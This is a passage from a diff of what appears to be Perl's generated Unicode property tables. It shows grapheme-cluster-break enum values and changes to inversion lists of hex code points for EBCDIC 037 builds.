GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_Other, + GCB_V, + GCB_Other, + GCB_T, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Control, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Regional_Indicator, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Modifier, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base_GAZ, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Control, + GCB_Extend, + GCB_Control, + GCB_Extend, + GCB_Control, + GCB_Other }; -# endif /* EBCDIC 1047 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_UTF8_C) -static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ - 1037, /* Number of elements */ +static const UV _Perl_IDCont_invlist[] = { /* for EBCDIC 037 */ + 1387, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ @@ -354943,6 +68729,8 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x5A, 0x62, 0x6A, + 0x6D, + 0x6E, 0x70, 0x79, 0x80, @@ -354970,20 +68758,24 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xE2, 0xEA, 0xEB, - 0xF0, + 0xFA, 0xFB, 0xFF, 0x100, - 0x2D8, - 0x2DE, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, 0x2E5, 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, 0x300, - 0x370, 0x375, 0x376, 0x378, - 0x37A, + 0x37B, 0x37E, 0x37F, 0x380, @@ -354999,6 +68791,8 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x3F6, 0x3F7, 0x482, + 0x483, + 0x488, 0x48A, 0x530, 0x531, @@ -355007,64 +68801,58 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x55A, 0x561, 0x588, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, 0x5F3, - 0x5F4, + 0x610, + 0x61B, 0x620, - 0x64B, + 0x66A, 0x66E, - 0x670, - 0x671, 0x6D4, 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, + 0x6DD, + 0x6DF, + 0x6E9, + 0x6EA, 0x6FD, 0x6FF, 0x700, 0x710, - 0x711, - 0x712, - 0x730, + 0x74B, 0x74D, - 0x7A6, - 0x7B1, 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, + 0x7C0, 0x7F6, 0x7FA, 0x7FB, 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, + 0x82E, 0x840, - 0x859, - 0x860, - 0x86B, + 0x85C, 0x8A0, 0x8B5, 0x8B6, 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, + 0x8D4, + 0x8E2, + 0x8E3, + 0x964, + 0x966, + 0x970, 0x971, - 0x981, + 0x984, 0x985, 0x98D, 0x98F, @@ -355077,18 +68865,22 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, + 0x9BC, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, 0x9CF, + 0x9D7, + 0x9D8, 0x9DC, 0x9DE, 0x9DF, - 0x9E2, - 0x9F0, + 0x9E4, + 0x9E6, 0x9F2, - 0x9FC, - 0x9FD, + 0xA01, + 0xA04, 0xA05, 0xA0B, 0xA0F, @@ -355103,12 +68895,24 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xA37, 0xA38, 0xA3A, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA72, - 0xA75, + 0xA66, + 0xA76, + 0xA81, + 0xA84, 0xA85, 0xA8E, 0xA8F, @@ -355121,14 +68925,22 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xAB4, 0xAB5, 0xABA, - 0xABD, - 0xABE, + 0xABC, + 0xAC6, + 0xAC7, + 0xACA, + 0xACB, + 0xACE, 0xAD0, 0xAD1, 0xAE0, - 0xAE2, + 0xAE4, + 0xAE6, + 0xAF0, 0xAF9, 0xAFA, + 0xB01, + 0xB04, 0xB05, 0xB0D, 0xB0F, @@ -355141,15 +68953,23 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xB34, 0xB35, 0xB3A, - 0xB3D, - 0xB3E, + 0xB3C, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4E, + 0xB56, + 0xB58, 0xB5C, 0xB5E, 0xB5F, - 0xB62, + 0xB64, + 0xB66, + 0xB70, 0xB71, 0xB72, - 0xB83, + 0xB82, 0xB84, 0xB85, 0xB8B, @@ -355169,8 +68989,20 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xBAB, 0xBAE, 0xBBA, + 0xBBE, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCE, 0xBD0, 0xBD1, + 0xBD7, + 0xBD8, + 0xBE6, + 0xBF0, + 0xC00, + 0xC04, 0xC05, 0xC0D, 0xC0E, @@ -355180,13 +69012,21 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xC2A, 0xC3A, 0xC3D, - 0xC3E, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, 0xC58, 0xC5B, 0xC60, - 0xC62, + 0xC64, + 0xC66, + 0xC70, 0xC80, - 0xC81, + 0xC84, 0xC85, 0xC8D, 0xC8E, @@ -355197,14 +69037,24 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBD, - 0xCBE, + 0xCBC, + 0xCC5, + 0xCC6, + 0xCC9, + 0xCCA, + 0xCCE, + 0xCD5, + 0xCD7, 0xCDE, 0xCDF, 0xCE0, - 0xCE2, + 0xCE4, + 0xCE6, + 0xCF0, 0xCF1, 0xCF3, + 0xD01, + 0xD04, 0xD05, 0xD0D, 0xD0E, @@ -355212,15 +69062,21 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xD12, 0xD3B, 0xD3D, - 0xD3E, - 0xD4E, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, 0xD4F, 0xD54, - 0xD57, + 0xD58, 0xD5F, - 0xD62, + 0xD64, + 0xD66, + 0xD70, 0xD7A, 0xD80, + 0xD82, + 0xD84, 0xD85, 0xD97, 0xD9A, @@ -355231,14 +69087,88 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xDBE, 0xDC0, 0xDC7, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDE0, + 0xDE6, + 0xDF0, + 0xDF2, + 0xDF4, + 0xE01, + 0xE3B, + 0xE40, + 0xE4F, + 0xE50, + 0xE5A, + 0xE81, + 0xE83, + 0xE84, + 0xE85, + 0xE87, + 0xE89, + 0xE8A, + 0xE8B, + 0xE8D, + 0xE8E, + 0xE94, + 0xE98, + 0xE99, + 0xEA0, + 0xEA1, + 0xEA4, + 0xEA5, + 0xEA6, + 0xEA7, + 0xEA8, + 0xEAA, + 0xEAC, + 0xEAD, + 0xEBA, + 0xEBB, + 0xEBE, + 0xEC0, + 0xEC5, + 0xEC6, + 0xEC7, + 0xEC8, + 0xECE, + 0xED0, + 0xEDA, + 0xEDC, + 0xEE0, 0xF00, 0xF01, - 0xF40, + 0xF18, + 0xF1A, + 0xF20, + 0xF2A, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3E, 0xF48, 0xF49, 0xF6D, - 0xF88, - 0xF8D, + 0xF71, + 0xF85, + 0xF86, + 0xF98, + 0xF99, + 0xFBD, + 0xFC6, + 0xFC7, + 0x1000, + 0x104A, + 0x1050, + 0x109E, 0x10A0, 0x10C6, 0x10C7, @@ -355279,6 +69209,8 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x1316, 0x1318, 0x135B, + 0x135D, + 0x1360, 0x1380, 0x1390, 0x13A0, @@ -355298,56 +69230,90 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x1700, 0x170D, 0x170E, - 0x1712, + 0x1715, 0x1720, - 0x1732, + 0x1735, 0x1740, - 0x1752, + 0x1754, 0x1760, 0x176D, 0x176E, 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17D4, + 0x17D7, + 0x17D8, + 0x17DC, + 0x17DE, + 0x17E0, + 0x17EA, + 0x180B, + 0x180E, + 0x1810, + 0x181A, 0x1820, 0x1878, 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, 0x18AB, 0x18B0, 0x18F6, 0x1900, 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1946, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DA, 0x1A00, - 0x1A17, - 0x1B05, - 0x1B34, - 0x1B45, + 0x1A1C, + 0x1A20, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA7, + 0x1AA8, + 0x1AB0, + 0x1ABE, + 0x1B00, 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, + 0x1B50, + 0x1B5A, + 0x1B6B, + 0x1B74, + 0x1B80, + 0x1BF4, 0x1C00, - 0x1C24, + 0x1C38, + 0x1C40, + 0x1C4A, 0x1C4D, - 0x1C50, - 0x1C5A, 0x1C7E, 0x1C80, 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, + 0x1CD0, + 0x1CD3, + 0x1CD4, 0x1CF7, + 0x1CF8, + 0x1CFA, 0x1D00, - 0x1DC0, - 0x1E00, + 0x1DF6, + 0x1DFB, 0x1F16, 0x1F18, 0x1F1E, @@ -355385,12 +69351,22 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x1FF5, 0x1FF6, 0x1FFD, + 0x203F, + 0x2041, + 0x2054, + 0x2055, 0x2071, 0x2072, 0x207F, 0x2080, 0x2090, 0x209D, + 0x20D0, + 0x20DD, + 0x20E1, + 0x20E2, + 0x20E5, + 0x20F1, 0x2102, 0x2103, 0x2107, @@ -355419,8 +69395,6 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x214F, 0x2160, 0x2189, - 0x24B6, - 0x24EA, 0x2C00, 0x2C2F, 0x2C30, @@ -355428,8 +69402,6 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x2C60, 0x2CE5, 0x2CEB, - 0x2CEF, - 0x2CF2, 0x2CF4, 0x2D00, 0x2D26, @@ -355441,7 +69413,7 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x2D68, 0x2D6F, 0x2D70, - 0x2D80, + 0x2D7F, 0x2D97, 0x2DA0, 0x2DA7, @@ -355459,18 +69431,38 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x2DD7, 0x2DD8, 0x2DDF, - 0x2E2F, - 0x2E30, + 0x2DE0, + 0x2E00, 0x3005, - 0x3006, - 0x303B, + 0x3008, + 0x3021, + 0x3030, + 0x3031, + 0x3036, + 0x3038, 0x303D, + 0x3041, + 0x3097, + 0x3099, + 0x309B, + 0x309D, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, 0x31BB, + 0x31F0, + 0x3200, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, @@ -355478,57 +69470,63 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xA500, 0xA60D, 0xA610, - 0xA620, - 0xA62A, 0xA62C, 0xA640, - 0xA66F, + 0xA670, + 0xA674, + 0xA67E, 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, + 0xA6F2, 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, 0xA7AF, 0xA7B0, 0xA7B8, 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, + 0xA828, 0xA840, 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, + 0xA880, + 0xA8C6, + 0xA8D0, + 0xA8DA, + 0xA8E0, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, - 0xA90A, - 0xA926, + 0xA900, + 0xA92E, 0xA930, - 0xA947, + 0xA954, 0xA960, 0xA97D, - 0xA984, - 0xA9B3, + 0xA980, + 0xA9C1, 0xA9CF, - 0xA9D0, + 0xA9DA, + 0xA9E0, + 0xA9FF, 0xAA00, - 0xAA29, + 0xAA37, 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA60, + 0xAA77, + 0xAA7A, + 0xAAC3, + 0xAADB, + 0xAADE, 0xAAE0, - 0xAAEB, + 0xAAF0, 0xAAF2, - 0xAAF5, + 0xAAF7, 0xAB01, 0xAB07, 0xAB09, @@ -355540,38 +69538,84 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0xAB28, 0xAB2F, 0xAB30, + 0xAB5B, + 0xAB5C, 0xAB66, 0xAB70, - 0xABE3, + 0xABEB, + 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, 0xAC00, 0xD7A4, 0xD7B0, 0xD7C7, 0xD7CB, 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, 0xFB07, 0xFB13, 0xFB18, - 0xFB50, + 0xFB1D, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, 0xFBB2, 0xFBD3, + 0xFC5E, + 0xFC64, 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, + 0xFDFA, + 0xFE00, + 0xFE10, + 0xFE20, + 0xFE30, + 0xFE33, + 0xFE35, + 0xFE4D, + 0xFE50, + 0xFE71, + 0xFE72, + 0xFE73, + 0xFE74, + 0xFE77, + 0xFE78, + 0xFE79, + 0xFE7A, + 0xFE7B, + 0xFE7C, + 0xFE7D, + 0xFE7E, + 0xFE7F, 0xFEFD, + 0xFF10, + 0xFF1A, 0xFF21, 0xFF3B, + 0xFF3F, + 0xFF40, 0xFF41, 0xFF5B, - 0xFFA0, + 0xFF66, 0xFFBF, 0xFFC2, 0xFFC8, @@ -355597,16 +69641,20 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x100FB, 0x10140, 0x10175, + 0x101FD, + 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, + 0x102E0, + 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, - 0x10376, + 0x1037B, 0x10380, 0x1039E, 0x103A0, @@ -355617,6 +69665,8 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x103D6, 0x10400, 0x1049E, + 0x104A0, + 0x104AA, 0x104B0, 0x104D4, 0x104D8, @@ -355660,13 +69710,19 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x109BE, 0x109C0, 0x10A00, - 0x10A01, - 0x10A10, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, 0x10A14, 0x10A15, 0x10A18, 0x10A19, 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, 0x10A60, 0x10A7D, 0x10A80, @@ -355674,7 +69730,7 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x10AC0, 0x10AC8, 0x10AC9, - 0x10AE5, + 0x10AE7, 0x10B00, 0x10B36, 0x10B40, @@ -355689,30 +69745,38 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x10CB3, 0x10CC0, 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, + 0x11000, + 0x11047, + 0x11066, + 0x11070, + 0x1107F, + 0x110BB, 0x110D0, 0x110E9, - 0x11103, - 0x11127, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11140, 0x11150, - 0x11173, + 0x11174, 0x11176, 0x11177, - 0x11183, - 0x111B3, - 0x111C1, + 0x11180, 0x111C5, - 0x111DA, + 0x111CA, + 0x111CD, + 0x111D0, 0x111DB, 0x111DC, 0x111DD, 0x11200, 0x11212, 0x11213, - 0x1122C, + 0x11238, + 0x1123E, + 0x1123F, 0x11280, 0x11287, 0x11288, @@ -355724,7 +69788,11 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x1129F, 0x112A9, 0x112B0, - 0x112DF, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, 0x11305, 0x1130D, 0x1130F, @@ -355737,66 +69805,74 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 037 */ 0x11334, 0x11335, 0x1133A, - 0x1133D, - 0x1133E, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, 0x11350, 0x11351, + 0x11357, + 0x11358, 0x1135D, - 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, 0x11400, - 0x11435, - 0x11447, 0x1144B, + 0x11450, + 0x1145A, 0x11480, - 0x114B0, - 0x114C4, 0x114C6, 0x114C7, 0x114C8, + 0x114D0, + 0x114DA, 0x11580, - 0x115AF, + 0x115B6, + 0x115B8, + 0x115C1, 0x115D8, - 0x115DC, + 0x115DE, 0x11600, - 0x11630, + 0x11641, 0x11644, 0x11645, + 0x11650, + 0x1165A, 0x11680, - 0x116AB, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, 0x118A0, - 0x118E0, + 0x118EA, 0x118FF, 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, 0x11AC0, 0x11AF9, 0x11C00, 0x11C09, 0x11C0A, - 0x11C2F, - 0x11C40, + 0x11C37, + 0x11C38, 0x11C41, + 0x11C50, + 0x11C5A, 0x11C72, 0x11C90, - 0x11D00, - 0x11D07, - 